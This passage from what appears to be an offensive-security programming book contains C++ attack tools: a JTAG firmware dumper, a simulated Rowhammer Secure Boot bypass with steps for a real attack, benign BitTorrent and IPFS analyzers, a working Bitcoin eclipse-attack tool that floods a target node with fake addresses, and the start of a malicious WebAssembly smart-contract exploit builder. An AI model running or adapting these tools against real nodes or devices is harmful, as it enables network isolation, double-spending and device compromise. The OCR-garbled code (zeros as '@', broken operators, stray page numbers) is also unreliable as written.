// Write dump to file

FILEx f = fopen(output_file.c_str(), "wb");
fwrite(dump.data(), 1, dump.size(), f);
fclose(f);

std::cout << "Firmware dumped to " << output_file << "\n";
b

int main() {
OpenOCDClient client;
client.dump_memory(0x80000000, 1024 x 1024, "firmware_dump.bin”);

return 0;

Compilation Instructions

# UART exploit (requires Windows SDK)
cl /std:ct+latest /02 uart_exploit.cpp /Fe:uart_exploit.exe

# JTAG exploit (requires Winsock)
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cl /std:ct+latest /02 jtag_exploit.cpp /Fe:jtag_exploit.exe /link ws2_32.1lib
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9.4 Developing a Secure Boot Bypass Tool for IoT Systems via

Rowhammer (Simulated)

Secure Boot is a security standard that ensures a device boots using only software that is trusted
by the Original Equipment Manufacturer (OEM). Rowhammer is a hardware-based attack that
exploits electrical interference in DRAM cells to flip bits in adjacent rows. By rapidly accessing
specific memory rows, an attacker can induce bit flips in security-critical regions, such as Secure
Boot verification code or cryptographic keys.

The Rowhammer attack can be simulated on Windows to demonstrate the principle: a program
repeatedly accesses two memory rows to cause disturbance, then checks for bit flips in a target
row. While real Rowhammer requires specific hardware timing and physical memory properties,
the following C++26 implementation emulates the attack pattern and can be adapted for systems
with vulnerable DRAM.

Simulated Rowhammer Attack on Secure Boot Variable

The following example demonstrates a software-based Rowhammer simulator that repeatedly
accesses two memory rows, monitors for bit flips, and attempts to corrupt a simulated Secure

Boot signature variable.

// rowhammer_simulator.cpp - Simulated Rowhammer attack for Secure Boot bypass
#include <iostream>

#include <vector>

#include <thread>

#include <chrono>

#include <random>

#include <cstdint>

#include <cstring>

#include <iomanip>

#ifdef _WIN32
#include <windows.h>
#tendif

class RowhammerSimulator {
private:
std::mt19937 rng;

std: :vector<uint64_t> memory_pool;



193

size_t row_size;
size_t target_row_index;
size_t hammer_rowl_index;

size_t hammer_row2_index;

// Simulate memory row (in real hardware, this would be actual DRAM)
class MemoryRow {
public:

std: :vector<uint64_t> cells;

MemoryRow(size_t size) : cells(size, @) {}

b

std: :vector<MemoryRow> rows;

public:
RowhammerSimulator(size_t num_rows = 100, size_t cells_per_row = 64)
rng(std: :random_device{}()), row_size(cells_per_row) {
// Initialize memory pool
for (size_t i = @; i < num_rows; ++i) {

rows.emplace_back(cells_per_row);

// Initialize with random data
std::uniform_int_distribution<uint64_t> dist(@, UINT64_MAX);
for (auto& row : rows) {
for (auto& cell : row.cells) {
cell = dist(rng);

// Select target row (Secure Boot verification code location)
target_row_index = 50;
hammer_row1_index = 49;

hammer_row2_index = 51;

std::cout << "=== Rowhammer Simulator for Secure Boot Bypass ===\n";

n

std::cout << "Target Row Index: << target_row_index << "\n";

std::cout << "Hammer Row 1 Index: " << hammer_rowl_index << "\n";

n

std::cout << "Hammer Row 2 Index: << hammer_row2_index << "\n";
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// Read value from a specific cell
uint64_t read_cell(size_t row_idx, size_t col_idx) {

return rows[row_idx].cells[col_idx];

// Write value to a specific cell
void write_cell(size_t row_idx, size_t col_idx, uint64_t value) {

rows[row_idx].cells[col_idx] = value;

// Hammer operation: rapidly access hammer rows
void hammer (int hammer_count) {
for (int i = @; i < hammer_count; ++i) {

// Access hammer row 1

volatile uint64_t dummyl = read_cell(hammer_rowl_index, i % row_size);

// Access hammer row 2

volatile uint64_t dummy2 = read_cell(hammer_row2_index, i % row_size);
// Prevent compiler optimization

(void)dummy1;

(void)dummy?2;

// Simulate bit flip (in real hardware, this would be induced by electrical interference)
void simulate_bit_flip() {

// In a real attack, bit flips are probabilistic

// Here we artificially create a flip for demonstration

std: :uniform_int_distribution<> col_dist(@, row_size - 1);

std: :uniform_int_distribution<> byte_dist(@, 7);

std::uniform_int_distribution<> prob_dist(@, 100);

if (prob_dist(rng) < 15) { // 15% chance of bit flip
size_t col = col_dist(rng);
size_t byte = byte_dist(rng);
uint64_t original = read_cell(target_row_index, col);
uint64_t mask = 1ULL << (byte * 8);

uint64_t corrupted = original * mask;

write_cell(target_row_index, col, corrupted);

std::cout << "Bit flip detected at Row " << target_row_index
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<< ", Column " << col << ", Byte " << byte << "\n";
std::cout << "Original: Ox" << std::hex << original

<< " => Corrupted: Ox" << corrupted << "\n";

// Check if Secure Boot signature was corrupted

bool is_signature_corrupted(const std::vector<uint8_t>& expected_signature) {
// Read signature from target row (simulated)
std: :vector<uint8_t> current_signature;
size_t signature_bytes = expected_signature.size();

size_t cells_needed = (signature_bytes + 7) / 8;

for (size_t i = @; i < cells_needed && i < row_size; ++i) {
uint64_t val = read_cell(target_row_index, i);
for (int b = @0; b < 8 && current_signature.size() < signature_bytes; ++b) {
current_signature.push_back((val >> (b * 8)) & OxFF);

return current_signature != expected_signature;

// Simulate Secure Boot verification
bool verify_secure_boot(const std::vector<uint8_t>& signature) {
std::cout << "\n=== Secure Boot Verification ===\n";
if (is_signature_corrupted(signature)) {
std::cout << "[CRITICAL] Secure Boot signature mismatch!\n";
std::cout << "Secure Boot bypassed - Untrusted code will execute.\n";
return false;
} else {
std::cout << "Secure Boot signature verified successfully.\n";

return true;

// Main attack loop
void attack(int hammer_iterations = 10000) {

std::cout << "\n=== Starting Rowhammer Attack ===\n";

// Store original Secure Boot signature in target row
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std: :vector<uint8_t> original_signature = {
OxDE, OxAD, OxBE, OxEF, OxCA, OxFE, OxBA, OxBE,
0x01, 0x02, 0x03, 0x04, O0x05, 0x06, 0x07, 0x08
1
write_signature(original_signature);

n

std::cout << "Original Secure Boot signature stored at row " << target_row_index <<

an n\nn;

// Perform hammering

for (int i = @; i < hammer_iterations; ++i) {
hammer (100) ;
simulate_bit_flip();

if (i % 1000 == @) {
std::cout << "Progress: " << i << "/" << hammer_iterations

<< " hammer cycles completed\n”;

// Allow other threads to run

std: :this_thread: :sleep_for(std::chrono::microseconds(10));

// Verify Secure Boot after attack
std::cout << "\n=== Attack Complete ===\n";

verify_secure_boot(original_signature);

void write_signature(const std::vector<uint8_t>& signature) {
size_t cells_needed = (signature.size() + 7) / 8;
for (size_t i = @; i < cells_needed && i < row_size; ++i) {
uint64_t val = 0;
for (int b = 0; b < 8; ++b) {
size_t idx = i * 8 + b;
if (idx < signature.size()) {
val |= static_cast<uint64_t>(signature[idx]) << (b * 8);

}

write_cell(target_row_index, i, val);
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}

int main() {
RowhammerSimulator attacker(100, 64);
attacker.attack(20000);

return 0;

Real-World Rowhammer Considerations

While the above example is simulated, real Rowhammer attacks have been demonstrated on
actual hardware: - **DDR3 and DDR4 memory** are vulnerable to row hammering when using
specific access patterns. - **ECC memory** provides partial mitigation but can still be exploited
with specialized techniques. - **TRR (Target Row Refresh)** is a mitigation implemented in
some memory controllers, but researchers have found bypasses.

To execute a real Rowhammer attack on a Windows system targeting Secure Boot:
1. Use a timing-accurate memory access loop (using ‘_mm_clflush‘ and ‘_mm_mfence®).
2. Identify physical memory addresses corresponding to Secure Boot verification code.
3. Hammer adjacent rows for extended periods (minutes to hours).

4. Monitor for bit flips using memory comparison.

Compilation Instructions

cl /std:ct++latest /02 rowhammer_simulator.cpp /Fe:rowhammer_simulator.exe

rowhammer_simulator.exe
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9.5 Summary

This chapter covered four advanced IoT' and embedded system exploitation techniques

implemented in C++26 on Windows:

* Reverse-engineering firmware (ARM, MIPS) using ‘std::bit_cast* for safe binary parsing
and QEMU for emulation.

* Building protocol fuzzers for Modbus, MQTT, and CoAP using raw sockets and client

libraries.

» Software-based exploitation of UART and JTAG interfaces using the Windows Serial API

and ‘std::span‘ for safe memory access.
* Developing a simulated Secure Boot bypass tool via Rowhammer attack patterns.

Proceed to Chapter 10 to explore P2P and blockchain hacking techniques.



P2P & Blockchain Hacking

10.1 Analyzing BitTorrent and IPFS Protocols in C++26

10.1.1 BitTorrent Protocol Fundamentals

BitTorrent is a distributed file-sharing protocol designed for efficient content distribution. Unlike
traditional client-server models, BitTorrent leverages a peer-to-peer (P2P) architecture where
participants upload and download data simultaneously. The protocol specification defines several
key components: bencoding (a simple data encoding format), .torrent metainfo files, tracker
communication, and peer wire protocol messages.

The official BitTorrent protocol specification (BEP-3) defines the core elements of the protocol. A
metainfo file is a bencoded dictionary containing an announce URL (tracker address) and an info
dictionary with file metadata such as piece length, file names, and SHA-1 hash list for each piece.
The peer wire protocol operates over TCP and uses a fixed-length prefix message format where
each message begins with a 4-byte length prefix followed by a message ID and optional payload.
The following example implements a BitTorrent bencoding parser in C++26 that can decode
.torrent files and extract critical metadata. The parser uses ‘std::variant* for type-safe
representation of bencoded values and demonstrates recursive descent parsing of bencoded data

structures.

// bittorrent_analyzer.cpp - BitTorrent bencoding parser and metadata extractor
#include <iostream>

#include <string>

#include <vector>

#include <map>

#include <variant>

#include <fstream>

#include <sstream>

#include <iomanip>

#include <cstdint>

199
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#include <algorithm>

#include <numeric>

using BencodeValue = std::variant<
std::string,
int64_t,
std: :vector<BencodeValue>,

std: :map<std::string, BencodeValue>

class BencodeParser {
private:
std::string data;

size_t pos;

void expect(char c) {
if (pos >= data.size() || datalpos] != c) {
throw std::runtime_error(std::string("Expected '") + c + "'");

3

pos++;

std::string parse_string() {
size_t colon_pos = data.find(':', pos);
if (colon_pos == std::string::npos) {
throw std::runtime_error(”Invalid string: no colon found");
}
int64_t len = std::stoll(data.substr(pos, colon_pos - pos));
if (len < @) throw std::runtime_error("”Negative string length");
pos = colon_pos + 1;
if (pos + len > data.size()) {
throw std::runtime_error(”String length exceeds data size");
}
std::string result = data.substr(pos, len);
pos += len;

return result;

int64_t parse_integer() {
expect('i');

size_t end_pos = data.find('e', pos);
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if (end_pos == std::string::npos) {

throw std::runtime_error("Integer missing 'e' terminator”);
}
int64_t value = std::stoll(data.substr(pos, end_pos - pos));
pos = end_pos + 1;

return value;

std: :vector<BencodeValue> parse_list() {
expect('1l');
std: :vector<BencodeValue> list;
while (pos < data.size() && datalpos] != 'e') {
list.push_back(parse());
}
expect('e');

return list;

std: :map<std::string, BencodeValue> parse_dict() {
expect('d"');
std: :map<std::string, BencodeValue> dict;
while (pos < data.size() && datalpos] != 'e') {
std::string key = parse_string();
dict[key] = parse();

}
expect('e');
return dict;
3
public:

BencodeParser(const std::string& input) : data(input), pos(@) {}

BencodeValue parse() {
if (pos >= data.size()) {
throw std::runtime_error("”"Unexpected end of input”);
}
char ¢ = datalpos];
if (std::isdigit(c)) {
return parse_string();
} else if (c == "i') {

return parse_integer();
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} else if (c == '1") {
return parse_list();
} else if (c == 'd") {
return parse_dict();
}

throw std::runtime_error(std::string("Unexpected character: ") + c);

3

void print_bencode(const BencodeValue& val, int depth = @) {

std::string indent(depth x 2, ' ');

if (std::holds_alternative<std::string>(val)) {
std::string s = std::get<std::string>(val);
std::cout << indent << "\"" << s.substr(@, 50) << (s.size() > 50 ? "..." : "") <<
- "\"\n";

} else if (std::holds_alternative<int64_t>(val)) {
std::cout << indent << std::get<int64_t>(val) << "\n";

} else if (std::holds_alternative<std::vector<BencodeValue>>(val)) {
const auto& vec = std::get<std::vector<BencodeValue>>(val);
std::cout << indent << "[\n";
for (const auto& item : vec) {

print_bencode(item, depth + 1);
}
std::cout << indent << "]\n";

} else if (std::holds_alternative<std::map<std::string, BencodeValue>>(val)) {
const auto& dict = std::get<std::map<std::string, BencodeValue>>(val);
std::cout << indent << "{\n";
for (const auto& [key, value] : dict) {

std::cout << indent << " \"" << key << "\": ";
print_bencode(value, depth + 1);
}

std::cout << indent << "3}\n";

class TorrentAnalyzer {
private:
std: :map<std::string, BencodeValue> metadata;

std: :vector<uint8_t> info_hash;

std: :vector<uint8_t> compute_info_hash(const BencodeValue& info_dict) {
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// Serialize the info dictionary back to bencoded string
std::stringstream ss;
serialize_bencode(info_dict, ss);

std::string serialized = ss.str();

// Compute SHA-1 hash (simplified placeholder)
std: :vector<uint8_t> hash(20, 0);
std::cout << "[Info hash would be SHA-1 of " << serialized.size() << " bytes]\n";

return hash;

void serialize_bencode(const BencodeValue& val, std::stringstream& ss) {
if (std::holds_alternative<std::string>(val)) {
std::string s = std::get<std::string>(val);
ss << s.size() << ":" << s;
} else if (std::holds_alternative<int64_t>(val)) {
ss << "i" << std::get<int64_t>(val) << "e";
} else if (std::holds_alternative<std::vector<BencodeValue>>(val)) {
ss << "1";
for (const auto& item : std::get<std::vector<BencodeValue>>(val)) {
serialize_bencode(item, ss);
}
ss << "e";
} else if (std::holds_alternative<std::map<std::string, BencodeValue>>(val)) {
ss << "d";
for (const auto& [key, value] : std::get<std::map<std::string,
— BencodeValue>>(val)) {
ss << key.size() << ":" << key;
serialize_bencode(value, ss);

n.n

ss << "e";

public:
TorrentAnalyzer(const std::string& filename) {
std::ifstream file(filename, std::ios::binary);
if (!file) throw std::runtime_error(”Cannot open file");
std::string content((std::istreambuf_iterator<char>(file)),

std: :istreambuf_iterator<char>());
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BencodeParser parser(content);

BencodeValue parsed = parser.parse();

if (std::holds_alternative<std::map<std::string, BencodeValue>>(parsed)) {
metadata = std::get<std::map<std::string, BencodeValue>>(parsed);

} else {

throw std::runtime_error(”"Torrent file must be a dictionary”);

// Extract info dictionary and compute info hash
if (metadata.find("info") != metadata.end()) {

info_hash = compute_info_hash(metadatal[”info"]);

void analyze() {

std::cout << "=== BitTorrent Metainfo Analysis ===\n";

if (metadata.find("”announce”) != metadata.end()) {
std::string tracker = std::get<std::string>(metadatal”announce”]);

std::cout << "Tracker URL: " << tracker << "\n";

if (metadata.find("info") != metadata.end()) {

const auto& info = std::get<std::map<std::string, BencodeValue>>(metadatal["info"]);

if (info.find("name"”) != info.end()) {
std::cout << "Name: " << std::get<std::string>(info.at("name”)) << "\n";

}

if (info.find("piece length”) != info.end()) {
std::cout << "Piece length: " << std::get<int64_t>(info.at("piece length")) <<
— " bytes\n";

}

if (info.find("length”) != info.end()) {
std::cout << "Total length: " << std::get<int64_t>(info.at("length”)) <<
— " bytes\n";

}

if (info.find("files"”) != info.end()) {
const auto& files = std::get<std::vector<BencodeValue>>(info.at("files"));

std::cout << "Multi-file mode: " << files.size() << " files\n";
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// Extract pieces hash list
if (info.find("pieces”) != info.end()) {
std::string pieces = std::get<std::string>(info.at("pieces"));

std::cout << "Number of pieces: " << (pieces.size() / 20) << "\n";

e

int main(int argc, charx argv[]) {
if (argc '= 2) {
std::cerr << "Usage: " << argv[@] << " <torrent_file>\n";

return 1;

try {
TorrentAnalyzer analyzer(argv[1]);

analyzer.analyze();

} catch (const std::exception& e) {

std::cerr << "Error: " << e.what() << "\n";
return 1;

}

return 0;

10.1.2 TPFS Protocol Analysis

The InterPlanetary File System (IPFS) is a content-addressed, peer-to-peer hypermedia protocol.
Unlike BitTorrent’s location-based addressing, IPFS uses Content Identifiers (CIDs) derived
from the cryptographic hash of file contents. The IPFS protocol stack consists of several layers:
the Kademlia DHT for routing, Bitswap for block exchange, and libp2p as the underlying
networking framework. The official IPFS specifications define the architecture, routing
mechanisms, and exchange protocols.

For C++ analysis of IPFS networks, the libp2p C++ implementation provides a modular network
stack. The following example demonstrates using the IPES HTTP API client library to interact
with an IPFS node, query the DHT, and analyze peer connections. This client library implements
core API methods including block operations (get, put, stat), configuration management, DHT

peer discovery, file operations (cat, add, 1s), key management, and swarm peer enumeration.

// ipfs_analyzer.cpp - IPFS protocol analysis using HTTP API client
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#include <iostream>

#include <string>

#include <vector>

#include <nlohmann/json.hpp>
#include <curl/curl.h>

#include <sstream>

#pragma comment(lib, "curl.lib")

using json = nlohmann::json;

size_t write_callback(voidx contents, size_t size, size_t nmemb, std::string* output) {
size_t total = size * nmemb;
output->append(static_cast<charx>(contents), total);

return total;

class IPFSAnalyzer {

private:
std::string api_endpoint;
CURL* curl;

std::string http_get(const std::string& path) {
std::string url = api_endpoint + path;
std::string response;
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
CURLcode res = curl_easy_perform(curl);
if (res != CURLE_OK) {

throw std::runtime_error(curl_easy_strerror(res));

}

return response;

std::string http_post(const std::string& path, const std::string& data = "") {
std::string url = api_endpoint + path;
std::string response;
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_POST, 1L);
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curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
CURLcode res = curl_easy_perform(curl);
if (res != CURLE_OK) {
throw std::runtime_error(curl_easy_strerror(res));
}
curl_easy_setopt(curl, CURLOPT_POST, OL);

return response;

public:
IPFSAnalyzer(const std::string& endpoint = "http://localhost:5001/api/ve/")
: api_endpoint(endpoint) {
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if ('curl) throw std::runtime_error(”Failed to initialize CURL");

~IPFSAnalyzer() {
curl_easy_cleanup(curl);

curl_global_cleanup();

3

json id() {
std::string response = http_get("id");
return json::parse(response);

}

std: :vector<std::string> swarm_peers() {
std::string response = http_get("swarm/peers”);
json j = json::parse(response);
std: :vector<std::string> peers;
if (j.contains("Peers")) {
for (const auto& peer : j["Peers”]) {
if (peer.contains("Addr")) {
peers.push_back(peer["Addr"]);

b

return peers;
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std::vector<std::string> dht_findpeer(const std::string& peer_id) {

std::string response = http_get("dht/findpeer?arg=" + peer_id);

json j = json::parse(response);

std::vector<std::string> addresses;

// Parse DHT responses

for (const auto& entry : j) {

if (entry.contains("Responses”)) {
for (const auto& resp : entry["Responses”]) {
if (resp.contains(”Addrs”)) {
for (const auto& addr : resp[”Addrs"]) {
addresses.push_back(addr);

}

return addresses;

json bitswap_stats() {
std::string response = http_get("bitswap/stat");

return json::parse(response);

void analyze() {
std::cout << "=== IPFS Node Analysis ===\n";

try {
json node_id = id();
if (node_id.contains("ID")) {
std::cout << "Peer ID: " << node_id["ID"] << "\n";
}
if (node_id.contains("Addresses")) {
std::cout << "Addresses:\n";
for (const auto& addr : node_id["Addresses"]) {

std::cout << " " << addr << "\n";

b

} catch (const std::exception& e) {
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3

std::cerr << "Failed to get ID: " << e.what() << "\n";

try {
auto peers = swarm_peers();

n

std::cout << "\nConnected peers: << peers.size() << "\n";

for (const auto& peer : peers) {

std::cout << " " << peer << "\n";
}
} catch (const std::exception& e) {
std::cerr << "Failed to get swarm peers: " << e.what() << "\n";
}
try {

json stats = bitswap_stats();

if (stats.contains("”"BlocksReceived”)) {
std::cout << "\nBitswap Statistics:\n";
std::cout << " Blocks Received: " << stats["BlocksReceived”] << "\n";
std::cout << " Data Received: " << stats["”DataReceived”] << " bytes\n";
std::cout << " Blocks Sent: " << stats["”BlocksSent”] << "\n";
std::cout << " Data Sent: " << stats["DataSent”] << " bytes\n";

}

} catch (const std::exception& e) {
std::cerr << "Failed to get Bitswap stats: " << e.what() << "\n";

int main() {

try {

IPFSAnalyzer analyzer;

analyzer.analyze();

} catch (const std::exception& e) {

std::cerr << "Error: " << e.what() << "\n";
std::cerr << "Ensure IPFS daemon is running on localhost:5001\n";

return 1;

return 0;
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Compilation Instructions

# BitTorrent analyzer
cl /std:c++latest /02 bittorrent_analyzer.cpp /Fe:bittorrent_analyzer.exe

# IPFS analyzer (requires libcurl development package)
# Install libcurl via vcpkg: vcpkg install curl
cl /std:ct++latest /02 /Icurl_include_path ipfs_analyzer.cpp /Fe:ipfs_analyzer.exe /link

— curl.lib
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10.2 Building an Eclipse Attack Tool for Blockchain Networks
(e.g., Bitcoin)

An eclipse attack is a network-level threat where an adversary isolates a target node by
monopolizing all of its peer-to-peer connections, effectively eclipsing the node from the honest
network. Once a node is eclipsed, the adversary can feed it false information, double-spend
transactions, or cause the node to waste computational resources. This attack has been
extensively studied in Bitcoin and more recently in Ethereum’s post-Merge architecture.

The eclipse attack leverages the fact that Bitcoin nodes maintain an address manager (AddrMan)
that stores network addresses of potential peers. By flooding the victim’s addrman with
attacker-controlled IP addresses, an adversary can ensure that when the victim restarts (either
naturally or triggered by the adversary), it will connect exclusively to malicious nodes. In Bitcoin
Core, the addrman stores addresses in two tables: the "new" table (addresses that have not yet
been successfully connected) and the "tried" table (addresses that have been successfully
connected). The attack aims to fill these tables with attacker-controlled addresses.

The following C++26 implementation demonstrates an eclipse attack simulation against a Bitcoin
node. The tool connects to the target node, sends crafted ‘addr‘ messages with a large number of
attacker-controlled addresses, and attempts to flood the victim’s addrman. The implementation
uses raw TCP sockets for direct communication with the Bitcoin P2P protocol, which operates on
port 8333.

// eclipse_attack.cpp - Eclipse attack simulation for Bitcoin P2P network
#include <winsock2.h>

#include <ws2tcpip.h>

#include <iostream>

#include <vector>

#include <string>

#include <random>

#include <thread>

#include <chrono>

#include <cstring>
#pragma comment(lib, "ws2_32.1ib")
class BitcoinP2PClient {

private:
SOCKET sock;
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sockaddr_in server_addr;
std::mt19937 rng;

std::vector<uint8_t> serialize_varint(uint64_t value) {
std: :vector<uint8_t> result;
if (value < OxFD) {
result.push_back(static_cast<uint8_t>(value));
} else if (value <= OxFFFF) {
result.push_back(0xFD);
result.push_back(static_cast<uint8_t>(value & OxFF));
result.push_back(static_cast<uint8_t>((value >> 8) & OxFF));
} else if (value <= OxFFFFFFFF) {
result.push_back (0xFE);
for (int i = 0; i < 4; ++i) {
result.push_back(static_cast<uint8_t>((value >> (i * 8)) & OxFF));
}
} else {
result.push_back (0xFF);
for (int i = @; i < 8; ++i) {
result.push_back(static_cast<uint8_t>((value >> (i * 8)) & OxFF));

}

return result;

std: :vector<uint8_t> serialize_net_addr(uint32_t ip, uint16_t port) {
std: :vector<uint8_t> addr;
// services: 8 bytes (NODE_NETWORK = 1)
addr.push_back(0x01); addr.push_back(0x00);
addr.push_back(0x00); addr.push_back(0x00);
addr.push_back (0x00); addr.push_back(0x00);
addr.push_back(0x00); addr.push_back(0x00);
// IP address (IPv4 mapped to IPv6)
for (int i = @; i < 10; ++i) addr.push_back(0x00);
addr.push_back(0x00); addr.push_back(@xFF);
addr.push_back((ip >> 24) & OxFF);
addr.push_back((ip >> 16) & OxFF);
addr.push_back((ip >> 8) & OxFF);
addr.push_back(ip & OxFF);
// Port
addr.push_back((port >> 8) & OxFF);
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addr.push_back(port & OxFF);

return addr;

public:
BitcoinP2PClient(const std::string& target_ip, int port = 8333)

: rng(std: :random_device{}()) {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);

inet_pton(AF_INET, target_ip.c_str(), &server_addr.sin_addr);

~BitcoinP2PClient() {
closesocket (sock);
WSACleanup();

bool connect_to_node() {

return connect(sock, (sockaddr*)&server_addr, sizeof(server_addr)) == 0;

bool send_version_message() {
// Version message structure (simplified)
std: :vector<uint8_t> payload;
// Version: 70016 (latest protocol version)
payload.push_back(0x00); payload.push_back(0x10);
payload.push_back(0x70); payload.push_back(0x00);
// Services (1)
for (int i = @; i < 8; ++i) payload.push_back(0x00);
// Timestamp
for (int i = @; i < 8; ++i) payload.push_back(0x00);
// Recipient address
auto addr_recv = serialize_net_addr(inet_addr(”"0.0.0.0"), 0);
payload.insert(payload.end(), addr_recv.begin(), addr_recv.end());
// Sender address
auto addr_send = serialize_net_addr(inet_addr("0.0.0.0"), 8333);
payload.insert(payload.end(), addr_send.begin(), addr_send.end());

// Nonce (random)
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for (int i = @; i < 8; ++i) payload.push_back(rng() & OxFF);

// User agent length

std::string user_agent = "/Satoshi:0.0.1/";

auto ua_len = serialize_varint(user_agent.size());
payload.insert(payload.end(), ua_len.begin(), ua_len.end());
payload.insert(payload.end(), user_agent.begin(), user_agent.end());
// Start height

for (int i = @; i < 4; ++i) payload.push_back(0x00);

// Relay flag

payload.push_back(0x01);

// Build message header

std: :vector<uint8_t> message;

// Magic bytes (mainnet: OxF9BEB4D9)

message.push_back(0xF9); message.push_back(0xBE);

message.push_back(0xB4); message.push_back(0xD9);

// Command: "version”

std::string cmd = "version";

message.insert(message.end(), cmd.begin(), cmd.end());

message.resize(message.size() + 12, 0x00);

// Payload size

uint32_t payload_size = static_cast<uint32_t>(payload.size());

for (int 1 = 0; i < 4; ++i) {
message.push_back((payload_size >> (i * 8)) & OxFF);

}

// Checksum (simplified, using XOR as placeholder)

uint32_t checksum = 0;

for (size_t i = @; i < payload.size(); ++i) {
checksum *= (payload[i] << ((i % 4) * 8));

}

for (int i = 0; i < 4; ++i) {
message.push_back((checksum >> (i * 8)) & OxFF);

}

// Payload

message.insert(message.end(), payload.begin(), payload.end());

return send(sock, reinterpret_cast<char*>(message.data()), message.size(), @) > 0;

bool send_addr_message(int addr_count) {

// ADDR message payload



215

std: :vector<uint8_t> payload;
auto count = serialize_varint(addr_count);

payload.insert(payload.end(), count.begin(), count.end());

std::uniform_int_distribution<uint32_t> ip_dist(0x0A000000, OxOAFFFFFF); // 10.0.0.0/8
std::uniform_int_distribution<uint16_t> port_dist(1024, 65535);

for (int i = @; i < addr_count; ++i) {
uint32_t fake_ip = ip_dist(rng);
uint16_t fake_port = port_dist(rng);

// Timestamp (4 bytes)

uint32_t timestamp = static_cast<uint32_t>(time(nullptr));

for (int j = 0; j < 4; ++j) {
payload.push_back((timestamp >> (j * 8)) & OxFF);

// Services (8 bytes)
for (int j = @; j < 8; ++j) payload.push_back(0x@0);
payload.push_back(0x01); // NODE_NETWORK

// IP address (IPv6 format)

for (int j = @; j < 12; ++j) payload.push_back(0x00);
payload.push_back(@x00); payload.push_back(0x00);
payload.push_back(0x00); payload.push_back(0x00);

// IPv4 address

payload.push_back((fake_ip >> 24) & OxFF);
payload.push_back((fake_ip >> 16) & OxFF);
payload.push_back((fake_ip >> 8) & OxFF);
payload.push_back(fake_ip & OxFF);

// Port
payload.push_back((fake_port >> 8) & OxFF);
payload.push_back(fake_port & OxFF);

// Build message header

std: :vector<uint8_t> message;
message.push_back(0xF9); message.push_back(0xBE);
message.push_back(0xB4); message.push_back(0xD9);
std::string cmd = "addr”;
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message.insert(message.end(), cmd.begin(), cmd.end());
message.resize(message.size() + 12, 0x00);
uint32_t payload_size = static_cast<uint32_t>(payload.size());
for (int i = @; i < 4; ++i) {
message.push_back((payload_size >> (i * 8)) & OxFF);
}
uint32_t checksum = 0;
for (size_t i = 0; i < payload.size(); ++i) {
checksum “= (payload[i] << ((i % 4) * 8));
}
for (int i = 0; i < 4; ++i) {
message.push_back((checksum >> (i * 8)) & OxFF);
}
message.insert(message.end(), payload.begin(), payload.end());

return send(sock, reinterpret_cast<char*>(message.data()), message.size(), 0) > 0;

void flood_addrman(int total_addresses, int batch_size) {
std::cout << "Starting addrman flooding with " << total_addresses << " addresses\n”;
int batches = total_addresses / batch_size;
for (int i = @; i < batches; ++i) {
if (!send_addr_message(batch_size)) {
std::cerr << "Failed to send addr message batch " << i << "\n";
}
std: :this_thread: :sleep_for(std::chrono::milliseconds(100));
std::cout << "Batch " << i + 1 << "/" << batches << " sent\n";
}
int remaining = total_addresses % batch_size;
if (remaining > @) {

send_addr_message(remaining);

}

int main(int argc, charx argv[]) {
if (argc '= 2) {
std::cerr << "Usage: " << argv[@] << " <target_ip>\n";

return 1;
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BitcoinP2PClient client(argv[1]);
if (!client.connect_to_node()) {
std::cerr << "Failed to connect to target node\n”;

return 1;

3

std::cout << "Connected to target node\n";

if (!client.send_version_message()) {
std::cerr << "Failed to send version message\n";

return 1;

b

std::cout << "Version message sent\n";

// Flood addrman with 20,000 fake addresses (threshold for Bitcoin addrman saturation)
client.flood_addrman(20000, 1000);

std::cout << "Eclipse attack simulation complete\n";
std::cout <<

— "After node restart, it will likely connect only to attacker-controlled addresses\n”;

return 0;

Eclipse Attack Mitigations

Bitcoin Core implements several countermeasures against eclipse attacks: test-before-evict
(which verifies a new address before evicting an existing one), multiple DNS seeds for initial
bootstrapping, and deterministic randomness for addrman bucket selection. Despite these
mitigations, eclipse attacks remain a viable threat, particularly against nodes that are frequently

restarted.

Compilation Instructions

cl /std:ct++latest /02 eclipse_attack.cpp /Fe:eclipse_attack.exe /link ws2_32.1ib
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10.3 Exploiting Smart Contract Vulnerabilities via a C++ to

WebAssembly Interface

WebAssembly (Wasm) has become a popular target platform for blockchain smart contracts, used
in systems such as EOSIO, Polkadot (via Wasm), and various Cosmos SDK chains using
CosmWasm. The Wasm execution environment introduces unique attack surfaces: integer
overflow vulnerabilities, stack overflow vulnerabilities, out-of-bounds memory access, and
capability enforcement bypasses. These vulnerabilities are particularly dangerous because Wasm
smart contracts are often more exploitable than native C/C++ programs due to the lack of
effective defenses at the compiler and virtual machine layers.

The following C++26 program demonstrates a two-stage smart contract exploitation framework.
First, it compiles a malicious Wasm module from C++ source code using the Emscripten
toolchain. Second, it interfaces with the Wasm virtual machine to trigger the vulnerability and

achieve arbitrary memory read/write or remote code execution.

// wasm_exploit.cpp - Smart contract exploitation via C++ to Wasm
#include <iostream>

#include <vector>

#include <string>

#include <fstream>

#include <cstdint>

#include <iomanip>

#pragma pack(push, 1)
struct WasmHeader {
uint32_t magic; // 0x6D736100 (\Qasm)
uint32_t version; // 0x00000001 (version 1)
};

struct WasmSection {

uint8_t id;

uint32_t size;

std: :vector<uint8_t> data;
¥
#pragma pack(pop)

class WasmExploitBuilder {
private:

std: :vector<uint8_t> wasm_module;
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std: :vector<uint8_t> malicious_payload;

// Generate a malicious Wasm module with integer overflow

std: :vector<uint8_t> build_malicious_wasm() {
// This is a simplified representation of a Wasm module with an integer overflow
// In practice, actual Wasm bytecode would be generated by compiling C++ with

// Emscripten or by manual bytecode construction.

std: :vector<uint8_t> module;

// Magic number and version

module.push_back(0x00); module.push_back(@x61); module.push_back(0x73);
— module.push_back(0x6D); // \@asm

module.push_back(0x01); module.push_back(@x00); module.push_back(0x00);
— module.push_back(0x@0); // version 1

